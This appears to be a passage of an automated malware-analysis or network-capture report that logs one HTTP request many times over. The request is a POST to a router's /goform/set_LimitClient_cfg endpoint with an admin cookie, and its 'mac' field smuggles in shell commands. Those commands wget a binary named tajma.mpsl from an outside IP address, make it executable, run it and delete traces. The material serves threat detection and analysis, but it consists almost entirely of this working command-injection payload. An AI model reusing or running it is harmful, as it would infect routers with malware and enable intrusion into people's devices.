Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
